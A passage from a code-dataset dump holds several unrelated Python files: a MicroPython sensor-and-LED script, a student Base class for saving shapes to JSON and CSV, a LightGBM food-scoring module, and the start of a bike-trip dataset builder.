4\n\ni2c = I2C(scl=Pin(scl), sda=Pin(sda))\ntry:\n sensor = BME280(address=0x77, i2c=i2c)\nexcept OSError as error:\n print(\"Sensor error: \", error)\n\nred_LED = Led(0)\nblue_LED = Led(2)\nbutton = Pin(13, Pin.IN, Pin.PULL_UP)\n\nled_timer = Timer(0)\ndebounce_timer = Timer(1)\n\n\ndef led_timer_callback(timer):\n blue_LED.led_toggle()\n print(\"LED changed!\") # nie zalecane!!!\n\n\ndef read_button():\n button_value = button.value()\n\n if not button_value:\n print(\"button pressed!\")\n\n return button_value\n\n\ndef red_led_on_button():\n button_value = button.value()\n\n if not button_value:\n print(\"button pressed!\")\n red_LED.led_on()\n else:\n print(\"button depressed!\")\n red_LED.led_off()\n\n\n# Na początek zmieniamy wartość progu temperatury na 70 st:\n\ndef button_interrupt_callback(timer):\n red_led_on_button()\n check_sensor(70)\n return timer\n\n\n# zastanówmy się jak sprawdzić czy dioda się zapaliła? Całe szczęście pisząc naszą klasę dla diody pamiętaliśmy o umieszczeniu returna zwaracającego wartość diody - to nam znacznie ułatwi testowanie.\n# wprowdzimy też zmniany w funkcji sprawdzania temperatury, wykorzystując zwracaną wartość diody:\n\ndef check_sensor(alarm_threshold, test_temp_str: str = False):\n try:\n if not test_temp_str:\n temp_str = sensor.temperature\n else:\n temp_str = test_temp_str\n\n except (OSError, NameError) as err:\n print(\"Sensor error: \", err)\n return False\n else:\n print(temp_str)\n temp = round(float(temp_str[:-1]))\n if temp >= alarm_threshold:\n led_value = red_LED.led_on()\n print(\"LED VALUE: \", led_value)\n else:\n led_value = red_LED.led_off()\n print(\"LED VALUE: \", led_value)\n\n return led_value\n\n\ndef debounce(pin):\n # Start or replace a timer for 200ms, and trigger on_pressed.\n debounce_timer.init(mode=Timer.ONE_SHOT, period=200, callback=button_interrupt_callback)\n return pin\n\n\n# led_timer.init(mode=Timer.PERIODIC, period=3000, callback=led_timer_callback)\nbutton.irq(trigger=Pin.IRQ_FALLING, handler=debounce)\n\n","repo_name":"michalisul/MicropyhtonMalyMocarz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15462407165","text":"#!/usr/bin/python3\n\"\"\"Defines the Base class\"\"\"\nimport json\nimport csv\nimport turtle\nimport tkinter\n\n\nclass Base:\n \"\"\"A base class for the models package\"\"\"\n\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\"Initializates the Base instance\"\"\"\n if id is None:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n else:\n self.id = id\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\"Transforms a dictionary representation to a JSON string\"\"\"\n if list_dictionaries is None:\n list_dictionaries = []\n return json.dumps(list_dictionaries)\n\n @classmethod\n def save_to_file(cls, list_objs):\n \"\"\"Writes the JSON string to a file\"\"\"\n with open(cls.__name__ + \".json\", mode=\"w\", encoding=\"utf-8\") as save:\n element_list = []\n if list_objs is not None:\n for element in list_objs:\n element_list.append(cls.to_dictionary(element))\n save.write(cls.to_json_string(element_list))\n\n @staticmethod\n def from_json_string(json_string):\n \"\"\"Transforms a JSON string to a list of dictionaries\"\"\"\n if json_string is None or len(json_string) == 0:\n return []\n return json.loads(json_string)\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\"Returns an instance with all attributes already set\"\"\"\n if cls.__name__ is \"Rectangle\":\n instance = cls(1, 1)\n if cls.__name__ is \"Square\":\n instance = cls(1)\n instance.update(**dictionary)\n return instance\n\n @classmethod\n def load_from_file(cls):\n \"\"\"Returns a list of instances\"\"\"\n obj_list = []\n try:\n with open(cls.__name__ + \".json\", encoding=\"utf-8\") as load:\n load_str = load.read()\n load_list = cls.from_json_string(load_str)\n for element in load_list:\n obj_list.append(cls.create(**element))\n return obj_list\n except:\n return obj_list\n\n @classmethod\n def save_to_file_csv(cls, list_objs):\n \"\"\"Saves the CSV representation of the list of objects\"\"\"\n with open(cls.__name__ + \".csv\", mode=\"w\", newline=\"\") as save:\n if cls.__name__ is \"Rectangle\":\n fieldnames = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n if cls.__name__ is \"Square\":\n fieldnames = [\"id\", \"size\", \"x\", \"y\"]\n save_str = csv.DictWriter(save, fieldnames=fieldnames)\n for element in list_objs:\n save_str.writerow(cls.to_dictionary(element))\n\n @classmethod\n def load_from_file_csv(cls):\n \"\"\"Loads the list of objects from a CSV file\"\"\"\n objs_list = []\n with open(cls.__name__ + \".csv\", newline=\"\") as load:\n if cls.__name__ is \"Rectangle\":\n fieldnames = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n if cls.__name__ is \"Square\":\n fieldnames = [\"id\", \"size\", \"x\", \"y\"]\n load_str = csv.DictReader(load, fieldnames=fieldnames)\n for element in load_str:\n for key in element:\n element[key] = int(element[key])\n objs_list.append(cls.create(**element))\n return objs_list\n\n @staticmethod\n def draw(list_rectangles, list_squares):\n \"\"\"Draw all rectangles and squares given in the lists\"\"\"\n root = tkinter.Tk()\n myCanvas = tkinter.Canvas(root, bg=\"white\", height=768, width=1024)\n t = turtle.RawTurtle(myCanvas)\n colors = [\"blue\", \"red\", \"green\", \"purple\", \"pink\", \"brown\",\n \"lightblue\", \"yellow\", \"orange\", \"grey\", \"black\"]\n i = 0\n t.shape(\"turtle\")\n t.penup()\n t.setpos(-500, 300)\n for rectangle in list_rectangles:\n t.pencolor(colors[i % len(colors)])\n t.fillcolor(colors[i % len(colors)])\n i += 1\n t.forward(rectangle.x)\n t.right(90)\n t.forward(rectangle.y)\n t.left(90)\n t.pendown()\n for a in range(2):\n t.forward(rectangle.width)\n t.right(90)\n t.forward(rectangle.height)\n t.right(90)\n t.penup()\n t.backward(rectangle.x)\n t.right(90)\n t.forward(rectangle.height + 1)\n t.left(90)\n for square in list_squares:\n t.pencolor(colors[i % len(colors)])\n t.fillcolor(colors[i % len(colors)])\n i += 1\n t.forward(square.x)\n t.right(90)\n t.forward(square.y)\n t.left(90)\n t.pendown()\n for a in range(4):\n t.forward(square.size)\n t.right(90)\n t.penup()\n t.backward(square.x)\n t.right(90)\n t.forward(square.size + 1)\n t.left(90)\n myCanvas.pack()\n root.mainloop()\n","repo_name":"Dyasteek/holbertonschool-higher_level_programming","sub_path":"python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5026,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32352058896","text":"# 进行直接载入模型,然后给出该模型下对每种食材的评分\nimport lightgbm as lgb\nimport pandas as pd\n\ndef cal_score(u):#u是人的信息\n\tunit = pd.read_csv(\"files/100unit.csv\") # 每种食物100g的矩阵\n\t# body = 读取人的身体数据,然后开始分类。这里的body是一个字典类型\n\tbody = {'sex': 0,\n\t\t\t'age': 22,\n\t\t\t'gaoxueya': 0,\n\t\t\t'tangniaobing': 0,\n\t\t\t'HEIGHT': 168,\n\t\t\t'WEIGHT': 58,\n\t\t\t'YTB': 0.7,#这项没有用上,取一个正常值\n\t\t\t'STJ': 14,#这项没有用上,取一个正常值\n\t\t\t'SBW': 25#这项没有用上,取一个正常值\n\t\t\t} # 一个默认的示例\n\tbody['sex'] = int(u['gender'])\n\tbody['age'] = 2019-int((u['birthday'].split('-'))[0])\n\tbody['HEIGHT'] = int(u['height'])+100\n\tbody['WEIGHT'] = int(u['weight'])\n\tif(u['xieya'][0]+u['xieya'][1]>=230):\n\t\tbody['gaoxueya'] = 1\n\tif(u['xietang']>=70):\n\t\tbody['tangniaobing'] = 1\n\n\t### 读取模型\n\tmodel_all = lgb.Booster(model_file='files/all.txt') # 总的所有人的数据训练的模型\n\tmodel_age11 = lgb.Booster(model_file='files/age11-18.txt') # 按年龄分类\n\tmodel_age19 = lgb.Booster(model_file='files/age19-28.txt')\n\tmodel_age29 = lgb.Booster(model_file='files/age29-38.txt')\n\tmodel_age39 = lgb.Booster(model_file='files/age39-48.txt')\n\tmodel_age49 = lgb.Booster(model_file='files/age49-58.txt')\n\tmodel_age59 = lgb.Booster(model_file='files/age59-68.txt')\n\tmodel_age69 = lgb.Booster(model_file='files/age69-78.txt')\n\tmodel_age79 = lgb.Booster(model_file='files/age79-100.txt')\n\tmodel_gaoxueya0 = lgb.Booster(model_file='files/gaoxueya0.txt') # 按高血压情况\n\tmodel_gaoxueya1 = lgb.Booster(model_file='files/gaoxueya1.txt')\n\tmodel_tangniaobing0 = lgb.Booster(model_file='files/tangniaobing0.txt') # 按糖尿病情况\n\tmodel_tangniaobing1 = lgb.Booster(model_file='files/tangniaobing1.txt')\n\tmodel_sex1 = lgb.Booster(model_file='files/sex1.txt') # 按性别\n\tmodel_sex2 = lgb.Booster(model_file='files/sex2.txt')\n\tmodel_BMIFP = lgb.Booster(model_file='files/BMIFP.txt') # 按BMI-FP肥胖,GZ过重,PS偏瘦,ZC正常\n\tmodel_BMIGZ = lgb.Booster(model_file='files/BMIGZ.txt')\n\tmodel_BMIPS = lgb.Booster(model_file='files/BMIPS.txt')\n\tmodel_BMIZC = lgb.Booster(model_file='files/BMIZC.txt')\n\tmodel_SBWBZC = lgb.Booster(model_file='files/SBWBZC.txt') # 按上臂围分类,正常与不正常\n\tmodel_SBWZC = lgb.Booster(model_file='files/SBWZC.txt')\n\tmodel_STJFP = lgb.Booster(model_file='files/STJFP.txt') # 按三角肌分类,有肥胖,消瘦,正常\n\tmodel_STJXS = lgb.Booster(model_file='files/STJXS.txt')\n\tmodel_STJZC = lgb.Booster(model_file='files/STJZC.txt')\n\tmodel_YTBFP = lgb.Booster(model_file='files/YTBFP.txt') # 按腰臀比分类,肥胖和正常\n\tmodel_YTBZC = lgb.Booster(model_file='files/YTBZC.txt')\n\n\tfood_score_all = model_all.predict(unit)\n\n\t###开始给人分类,并且取得对应模型下的评分\n\t# model_sex_score是基于性别的评分列表,\n\n\tif body['sex'] == 1: # 是男性\n\t\tfood_score_sex1 = model_sex1.predict(unit)\n\t\tmodel_sex_score = food_score_sex1.tolist()\n\telse:\n\t\tfood_score_sex2 = model_sex2.predict(unit)\n\t\tmodel_sex_score = food_score_sex2.tolist()\n\n\tif body['age'] <= 18:\n\t\tfood_score_age11 = model_age11.predict(unit)\n\t\tmodel_age_score = food_score_age11.tolist()\n\telif body['age'] <= 28:\n\t\tfood_score_age19 = model_age19.predict(unit)\n\t\tmodel_age_score = food_score_age19.tolist()\n\telif body['age'] <= 38:\n\t\tfood_score_age29 = model_age29.predict(unit)\n\t\tmodel_age_score = food_score_age29.tolist()\n\telif body['age'] <= 48:\n\t\tfood_score_age39 = model_age39.predict(unit)\n\t\tmodel_age_score = food_score_age39.tolist()\n\telif body['age'] <= 58:\n\t\tfood_score_age49 = model_age49.predict(unit)\n\t\tmodel_age_score = food_score_age49.tolist()\n\telif body['age'] <= 68:\n\t\tfood_score_age59 = model_age59.predict(unit)\n\t\tmodel_age_score = food_score_age59.tolist()\n\telif body['age'] <= 78:\n\t\tfood_score_age69 = model_age69.predict(unit)\n\t\tmodel_age_score = food_score_age69.tolist()\n\telse:\n\t\tfood_score_age79 = model_age79.predict(unit)\n\t\tmodel_age_score = food_score_age79.tolist()\n\n\tif body['gaoxueya'] == 1: # 有高血压\n\t\tfood_score_gaoxueya1 = model_gaoxueya1.predict(unit)\n\t\tmodel_gaoxueya_score = food_score_gaoxueya1.tolist()\n\telse:\n\t\tfood_score_gaoxueya0 = model_gaoxueya0.predict(unit)\n\t\tmodel_gaoxueya_score = food_score_gaoxueya0.tolist()\n\n\tif body['tangniaobing'] == 1: # 有糖尿病\n\t\tfood_score_tangniaobing1 = model_tangniaobing1.predict(unit)\n\t\tmodel_tangniaobing_score = food_score_tangniaobing1.tolist()\n\telse:\n\t\tfood_score_tangniaobing0 = model_tangniaobing0.predict(unit)\n\t\tmodel_tangniaobing_score = food_score_tangniaobing0.tolist()\n\n\tbody['BMI'] = body['WEIGHT'] / body['HEIGHT'] / body['HEIGHT'] * 10000 # 通过身高体重计算BMI\n\n\tif body['BMI'] <= 18.4:\n\t\tfood_score_BMIPS = model_BMIPS.predict(unit)\n\t\tmodel_BMI_score = food_score_BMIPS.tolist()\n\telif body['BMI'] <= 23.9:\n\t\tfood_score_BMIZC = model_BMIZC.predict(unit)\n\t\tmodel_BMI_score = food_score_BMIZC.tolist()\n\telif body['BMI'] <= 27.9:\n\t\tfood_score_BMIGZ = model_BMIGZ.predict(unit)\n\t\tmodel_BMI_score = food_score_BMIGZ.tolist()\n\telse:\n\t\tfood_score_BMIFP = model_BMIFP.predict(unit)\n\t\tmodel_BMI_score = food_score_BMIFP.tolist()\n\n\tif body['SBW'] <= 22.77 and body['sex'] == 1: # 上臂围不正常\n\t\tfood_score_SBWBZC = model_SBWBZC.predict(unit)\n\t\tmodel_SBW_score = food_score_SBWBZC.tolist()\n\telif body['SBW'] <= 20.88 and body['sex'] == 2: # 不正常\n\t\tfood_score_SBWBZC = model_SBWBZC.predict(unit)\n\t\tmodel_SBW_score = food_score_SBWBZC.tolist()\n\telse: # 其余情况,包括没有输入时,默认正常\n\t\tfood_score_SBWZC = model_SBWZC.predict(unit)\n\t\tmodel_SBW_score = food_score_SBWZC.tolist()\n\n\tif body['YTB'] > 0.9 and body['sex'] == 1: # 腰臀比不正常\n\t\tfood_score_YTBFP = model_YTBFP.predict(unit)\n\t\tmodel_YTB_score = food_score_YTBFP.tolist()\n\telif body['YTB'] > 0.8 and body['sex'] == 2: # 腰臀比不正常\n\t\tfood_score_YTBFP = model_YTBFP.predict(unit)\n\t\tmodel_YTB_score = food_score_YTBFP.tolist()\n\telse: # 其余情况,包括没有输入时,默认正常\n\t\tfood_score_YTBZC = model_YTBZC.predict(unit)\n\t\tmodel_YTB_score = food_score_YTBZC.tolist()\n\n\tif body['STJ'] > 15 and body['sex'] == 1: # 男 三头肌肥胖\n\t\tfood_score_STJFP = model_STJFP.predict(unit)\n\t\tmodel_STJ_score = food_score_STJFP.tolist()\n\telif body['STJ'] > 19.8 and body['sex'] == 2: # 女 三头肌肥胖\n\t\tfood_score_STJFP = model_STJFP.predict(unit)\n\t\tmodel_STJ_score = food_score_STJFP.tolist()\n\telif body['STJ'] < 10 and body['sex'] == 1: # 男 三头肌消瘦\n\t\tfood_score_STJXS = model_STJXS.predict(unit)\n\t\tmodel_STJ_score = food_score_STJXS.tolist()\n\telif body['STJ'] < 13.2 and body['sex'] == 2: # 女 三头肌消瘦\n\t\tfood_score_STJXS = model_STJXS.predict(unit)\n\t\tmodel_STJ_score = food_score_STJXS.tolist()\n\telse: # 其余情况,包括没有输入时,默认正常\n\t\tfood_score_STJZC = model_STJZC.predict(unit)\n\t\tmodel_STJ_score = food_score_STJZC.tolist()\n\n\ttotal_score = [] # 预置一个列表,开始对各模型的分数进行加权求和\n\tweight = (1 / 8, 1 / 8, 1 / 8, 1 / 8, 1 / 8, 1 / 8, 1 / 8,\n\t\t\t1 / 8,) # 用一个元组来存各模型分数的权重,这里是均匀分布,分别是 sex age gaoxueya tangniaobing BMI SBW STJ YTB\n\tfor i in range(0, 193): # 这里可以选择是否将每个维度归一化,注意这样确实会导致食材总评分数发生变化进而排序不相同,第二个就是归一化了的\n\t\t\"\"\"score_i = weight[0]*model_sex_score[i]+weight[1]*model_age_score[i]+weight[2]*model_gaoxueya_score[i]+weight[3]*model_tangniaobing_score[i]\\\n\t\t\t\t+weight[4]*model_BMI_score[i]+weight[5]*model_SBW_score[i]+weight[6]*model_STJ_score[i]+weight[7]*model_YTB_score[i]\"\"\"\n\n\t\tscore_i = weight[0] * (model_sex_score[i] - min(model_sex_score)) / (\n\t\t\t\t\tmax(model_sex_score) - min(model_sex_score)) * 100 \\\n\t\t\t\t+ weight[1] * (model_age_score[i] - min(model_age_score)) / (\n\t\t\t\t\t\t\tmax(model_age_score) - min(model_age_score)) * 100 \\\n\t\t\t\t+ weight[2] * (model_gaoxueya_score[i] - min(model_gaoxueya_score)) / (\n\t\t\t\t\t\t\tmax(model_gaoxueya_score) - min(model_gaoxueya_score)) * 100 \\\n\t\t\t\t+ weight[3] * (model_tangniaobing_score[i] - min(model_tangniaobing_score)) / (\n\t\t\t\t\t\t\tmax(model_tangniaobing_score) - min(model_tangniaobing_score)) * 100 \\\n\t\t\t\t+ weight[4] * (model_BMI_score[i] - min(model_BMI_score)) / (\n\t\t\t\t\t\t\tmax(model_BMI_score) - min(model_BMI_score)) * 100 \\\n\t\t\t\t+ weight[5] * (model_SBW_score[i] - min(model_SBW_score)) / (\n\t\t\t\t\t\t\tmax(model_SBW_score) - min(model_SBW_score)) * 100 \\\n\t\t\t\t+ weight[6] * (model_STJ_score[i] - min(model_STJ_score)) / (\n\t\t\t\t\t\t\tmax(model_STJ_score) - min(model_STJ_score)) * 100 \\\n\t\t\t\t+ weight[7] * (model_YTB_score[i] - min(model_YTB_score)) / (\n\t\t\t\t\t\t\tmax(model_YTB_score) - min(model_YTB_score)) * 100\n\t\ttotal_score.append(score_i)\n\n\t# 接下来处理相同评分的食材,评分相同时,更小的食材代码优先\n\tfor i in range(0, 193):\n\t\ttotal_score[i] = total_score[i] - i * 0.000000000001\n\n\t# 食物列表\n\tfood_list = [111, 112, 113, 114, 115, 120, 121, 122, 123, 124, 131, 132, 141, 142,\n\t\t\t\t151, 152, 190, 192, 211, 212, 213, 221, 222, 311, 312, 313, 314, 315, 321, 322,\n\t\t\t\t331, 332, 341, 351, 352, 391, 392, 393, 411, 412, 413, 414, 421, 422, 431, 432,\n\t\t\t\t441, 442, 443, 444, 445, 451, 452, 453, 454, 460, 471, 472, 473, 480, 510, 520,\n\t\t\t\t611, 612, 613, 619, 621, 622, 623, 629, 631, 632, 633, 639, 641, 642, 643, 650,\n\t\t\t\t661, 662, 710, 720, 811, 812, 813, 814, 821, 822, 823, 831, 832, 833, 841, 842,\n\t\t\t\t843, 890, 911, 912, 913, 921, 922, 923, 931, 932, 933, 942, 943, 990, 1011, 1012,\n\t\t\t\t1013, 1021, 1022, 1030, 1040, 1050, 1090, 1111, 1112, 1121, 1122, 1131, 1141,\n\t\t\t\t1211, 1212, 1213, 1214, 1221, 1222, 1223, 1230, 1241, 1242, 1243, 1290, 1293,\n\t\t\t\t1310, 1311, 1312, 1313, 1330, 1410, 1419, 1421, 1422, 1423, 1510, 1521, 1522,\n\t\t\t\t1523, 1524, 1525, 1530, 1531, 1532, 1533, 1534, 1610, 1619, 1620, 1640, 1650,\n\t\t\t\t1661, 1662, 1670, 1680, 1690, 1711, 1712, 1713, 1721, 1810, 1820, 1821, 1822,\n\t\t\t\t1823, 1824, 1830, 1840, 1910, 1920, 2010, 2020, 2031, 2032, 2040, 2050, 2060,\n\t\t\t\t2071, 2072, 2074, 2110, 2190] # 食物代码列表\n\tdictfood = {111: '五谷香', 112: '小麦粉', 113: '面', 114: '饼、馒头', 115: '面筋', 120: '稻米',\n\t\t\t\t121: '粳米', 122: '籼米', 123: '糯米', 124: '米饭', 131: '玉米', 132: '玉米笋', 141: '大麦',\n\t\t\t\t142: '青稞', 151: '小米', 152: '大黄米', 190: '高粱米', 192: '荞麦', 211: '土豆', 212: '甘薯',\n\t\t\t\t213: '木薯', 221: '淀粉', 222: '粉丝', 311: '大豆', 312: '豆粉', 313: '豆腐', 314: '豆浆',\n\t\t\t\t315: '豆腐干', 321: '绿豆', 322: '绿豆饼', 331: '红豆', 332: '豆沙', 341: '花豆', 351: '蚕豆',\n\t\t\t\t352: '烤蚕豆', 391: '扁豆', 392: '豇豆', 393: '豌豆', 411: '萝卜', 412: '胡萝卜', 413: '大头菜',\n\t\t\t\t414: '甜菜根', 421: '鲜豆', 422: '豆芽', 431: '茄子番茄辣椒', 432: '冬瓜黄瓜苦瓜南瓜等瓜类',\n\t\t\t\t441: '大蒜', 442: '大葱', 443: '洋葱', 444: '韭菜', 445: '山蒜', 451: '大白菜', 452: '菜花',\n\t\t\t\t453: '菠菜等蔬菜', 454: '竹笋', 460: '水生蔬菜', 471: '山药', 472: '芋头', 473: '姜', 480: '野生蔬菜',\n\t\t\t\t510: '蘑菇', 520: '海带', 611: '苹果', 612: '梨', 613: '红果', 619: '海棠果', 621: '桃',\n\t\t\t\t622: '李子', 623: '枣', 629: '酸枣', 631: '葡萄', 632: '石榴', 633: '柿', 639: '桑葚',\n\t\t\t\t641: '橙', 642: '柑橘', 643: '柚', 650: '热带水果', 661: '哈密瓜', 662: '西瓜', 710: '坚果',\n\t\t\t\t720: '花生瓜子', 811: '猪肉', 812: '猪杂', 813: '腊肉', 814: '香肠', 821: '牛肉', 822: '牛杂',\n\t\t\t\t823: '牛肉干', 831: '羊肉', 832: '羊杂', 833: '羊肉串', 841: '驴肉', 842: '驴鞭', 843: '卤驴肉',\n\t\t\t\t890: '狗肉兔肉', 911: '鸡', 912: '鸡杂', 913: '烤鸡', 921: '鸭', 922: '鸭杂', 923: '烤鸭',\n\t\t\t\t931: '鹅', 932: '鹅杂', 933: '烧鹅', 942: '火鸡杂', 943: '代码943的食物', 990: '鸽子', 1011: '牛奶',\n\t\t\t\t1012: '羊奶', 1013: '人奶', 1021: '牛奶粉', 1022: '羊奶粉', 1030: '酸奶', 1040: '奶酪', 1050: '奶油',\n\t\t\t\t1090: '其他乳制品', 1111: '鸡蛋', 1112: '松花蛋', 1121: '鸭蛋', 1122: '咸鸭蛋', 1131: '鹅蛋', 1141: '鹌鹑蛋',\n\t\t\t\t1211: '鱼', 1212: '黄鱼', 1213: '鱼油', 1214: '代码1214的食物', 1221: '虾', 1222: '虾米', 1223: '代码1223的食材',\n\t\t\t\t1230: '螃蟹', 1241: '鲍鱼扇贝', 1242: '蛤蜊', 1243: '螺', 1290: '墨鱼鱿鱼', 1293: '代码1293的食物', 1310: '母乳化奶粉',\n\t\t\t\t1311: '代码1311的食材', 1312: '代码1312的食材', 1313: '代码1313的食材', 1330: '婴幼儿补充食品', 1410: '小吃', 1419: '代码1419的食材',\n\t\t\t\t1421: '蛋糕',\n\t\t\t\t1422: '月饼', 1423: '蛋黄酥', 1510: '代码1510的食材 ', 1521: '麦片', 1522: '方便面', 1523: '面包', 1524: '饼干',\n\t\t\t\t1525: '代码1525的食材', 1530: '薯片', 1531: '代码1531的食材', 1532: '代码1532的食材', 1533: '代码1533的食材', 1534: '代码1534的食材',\n\t\t\t\t1610: '可乐',\n\t\t\t\t1619: '代码1619的食材', 1620: '果汁', 1640: '果味奶', 1650: '植物蛋白饮料', 1661: '茶', 1662: '茶水', 1670: '固体饮料',\n\t\t\t\t1680: '冰淇淋', 1690: '红景天饮料', 1711: '啤酒', 1712: '葡萄酒', 1713: '黄酒', 1721: '白酒', 1810: '糖',\n\t\t\t\t1820: '糖果', 1821: '代码1821的食材', 1822: '代码1822的食材', 1823: '代码1823的食材', 1824: '代码1824的食材', 1830: '果脯',\n\t\t\t\t1840: '代码1840的食物',\n\t\t\t\t1910: '动物油', 1920: '植物油', 2010: '酱油', 2020: '醋', 2031: '豆瓣酱', 2032: '果酱', 2040: '腐乳',\n\t\t\t\t2050: '咸菜', 2060: '香辛料', 2071: '盐', 2072: '味精', 2074: '代码2074的食材', 2110: '代码2110的食材', 2190: '代码2190的食材'}\n\t# for score in sorted(total_score, reverse=True): # 降序排列\n\t\t# print(score)#得到食材评分\n\t\t# print(total_score.index(score))#得到排序后的分数的下标\n\t\t# print(food_list[total_score.index(score)])#得到该下标对应的食材代码\n\t\t# print(dictfood[food_list[total_score.index(score)]]) # 得到食材代码对应的食材\n\t\t# print(\"--------------\")\n\n\tzq_food = ['大米', '小米', '小麦', '玉米', '黄豆', '绿豆', '山药', '莲子', '花生', '核桃', '芝麻', '红薯', '燕麦', '薏米', '土豆',\n\t\t\t'冬瓜', '白菜', '木耳', '茄子', '青椒', '西葫芦', '丝瓜', '南瓜', '苦瓜', '黄瓜', '百合', '竹笋', '芹菜', '洋葱', '菠菜',\n\t\t\t'萝卜', '莲藕', '豆芽', '莴笋', '空心菜', '西红柿', '黄花菜', '四季豆', '胡萝卜', '韭菜', '茭白', '芋头', '香菜', '大蒜',\n\t\t\t'大葱', '生姜', '苹果', '梨子', '桃子', '李子', '柿子', '橘子', '葡萄', '香蕉', '大枣', '芒果', '西瓜', '草莓', '菠萝',\n\t\t\t'柠檬', '哈蜜瓜', '猕猴桃', '木瓜', '猪肉', '猪肝', '牛肉', '羊肉', '鸡肉', '鸭肉', '鲤鱼', '鲫鱼', '鲍鱼', '黄鳝', '鳖',\n\t\t\t'蟹', '虾', '海带', '牛奶', '鸡蛋', '蜂蜜']\n\tzq_food_code = [120, 151, 112, 131, 311, 321, 471, 720, 720, 710, 720, 212, 1521, 190, 211, 432, 451, 510, 431, 431,\n\t\t\t\t\t432, 432, 432, 432, 432,\n\t\t\t\t\t454, 454, 453, 443, 453, 411, 460, 422, 453, 453, 431, 454, 421, 412, 444, 460, 472, 453, 441, 442, 473,\n\t\t\t\t\t611, 612, 621, 622,\n\t\t\t\t\t633, 641, 631, 650, 623, 650, 662, 639, 650, 643, 661, 639, 650, 811, 812, 821, 831, 911, 921, 1211,\n\t\t\t\t\t1211, 1241, 1211, 1242,\n\t\t\t\t\t1230, 1221, 520, 1011, 1111, 1810]\n\t# print(food_list.index(zq_food_code[0]))#这是获得一个食材代码在我原始列表中的下标,用此下标可以获得评分\n\tzq_score = []\n\tfor zq_food_code_elem in zq_food_code:\n\t\tzq_score.append(total_score[food_list.index(zq_food_code_elem)]) # 获得梓强的食材的评分,是一个有序列表,对应着excel表的序\n\tfor i in range(0, 80): # 处理重码,使评分与下标是一一对应的关系\n\t\tzq_score[i] = (zq_score[i] - i * 0.000000000001 )/ 10\n\t\t#print(i,\"--\",zq_score[i])\n\t#for score in sorted(zq_score, reverse=True): # 降序排列\n\t\t# print(zq_food[zq_score.index(score)],end=\":\")\n\t\t#print(score)\n\t\t# print(10*(score-min(zq_score))/(max(zq_score)-min(zq_score)))#归一化为0到10分\n\t\t#pass\n\t# print(score)#得到食材评分\n\t# print(zq_score.index(score))#得到排序后的分数的下标\n\tfor i in range(0, 80): # 评分归一化\n\t\tzq_score[i] = 10*(zq_score[i]-min(zq_score))/(max(zq_score)-min(zq_score))\n\tfor i in range(0, 80): # 评分归一化\n\t\tzq_score[i] = '%.1f' %zq_score[i]\n\treturn zq_score\n\n\n\n\n\n\n\n","repo_name":"LuckybugQ/iNutrition","sub_path":"Server-Flask/backup/cal_score2.py","file_name":"cal_score2.py","file_ext":"py","file_size_in_byte":16491,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"75"} +{"seq_id":"35808219390","text":"import logging\nimport sys\nimport os\nimport pandas as pd\nimport holidays\nimport numpy as np\n\nfrom math import radians, cos, sin, asin, sqrt\n\nfrom src.config_reader import read_config, parse_data_config\nfrom src.data.data_downloader import DataDownloader\n\n\nclass DatasetCreator:\n def __init__(self, data_params: dict = None):\n self.data_params = data_params\n self.holidays: list = [holiday[0] for holiday in holidays.USA(years=range(int(\n self.data_params[\"start_date\"][-4:]), int(self.data_params[\"end_date\"][-4:]) + 1, 1)).items()]\n self.month2season: dict = {1: 1,\n 2: 1,\n 3: 2,\n 4: 2,\n 5: 2,\n 6: 3,\n 7: 3,\n 8: 3,\n 9: 4,\n 10: 4,\n 11: 4,\n 12: 1}\n\n @staticmethod\n def get_data(directory: str):\n df_ = pd.DataFrame()\n data_filenames = [filename for filename in os.listdir(\n directory) if filename.endswith(\".csv\")]\n for filename in data_filenames:\n temp_df = pd.read_csv(directory + filename)\n df_ = pd.concat([df_, temp_df])\n return df_\n\n def create_time_features(self, df_, date_col=\"date_time\"):\n df_[date_col] = pd.to_datetime(df_[date_col])\n\n df_[\"year\"] = df_[date_col].dt.year\n df_[\"month\"] = df_[date_col].dt.month\n df_[\"season\"] = df_[\"month\"].apply(lambda x: self.month2season[x])\n df_[\"day\"] = df_[date_col].dt.day\n df_[\"hour\"] = df_[date_col].dt.hour\n df_[\"week_day\"] = df_[date_col].dt.day_name()\n df_[\"is_weekend\"] = np.where(\n (df_[\"week_day\"] == \"Saturday\") | (df_[\"week_day\"] == \"Sunday\"), 1, 0)\n\n df_[\"is_holiday\"] = np.where(\n df_[date_col].dt.date.isin(self.holidays), 1, 0)\n return df_\n\n @staticmethod\n def haversine(lon1, lat1, lon2, lat2):\n \"\"\"\n Calculate the great circle distance in kilometers between two points\n on the earth (specified in decimal degrees)\n \"\"\"\n # convert decimal degrees to radians\n lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])\n\n # haversine formula\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat / 2) ** 2 + cos(lat1) * cos(lat2) * sin(dlon / 2) ** 2\n c = 2 * asin(sqrt(a))\n # Radius of earth in kilometers. Use 3956 for miles. Determines return value units.\n r = 6371\n return c * r\n\n @staticmethod\n def remove_outliers(df_):\n # calculate the percentiles\n ride_length_q1 = df_[\"ride_length\"].quantile(0.25)\n ride_length_q3 = df_[\"ride_length\"].quantile(0.75)\n ride_length_iqr = ride_length_q3 - ride_length_q1\n\n trip_duration_q1 = df_[\"trip_duration\"].quantile(0.25)\n trip_duration_q3 = df_[\"trip_duration\"].quantile(0.75)\n trip_duration_iqr = trip_duration_q3 - trip_duration_q1\n\n return df_[(df_[\"ride_length\"] > ride_length_q1 - 1.5 * ride_length_iqr) &\n (df_[\"ride_length\"] < ride_length_q3 + 1.5 * ride_length_iqr) &\n (df_[\"trip_duration\"] > trip_duration_q1 - 1.5 * trip_duration_iqr) &\n (df_[\"trip_duration\"] < trip_duration_q3 + 1.5 * trip_duration_iqr)]\n\n\ndef dataset_creating(data_params: dict = None, logger: logging = None) -> pd.DataFrame:\n # 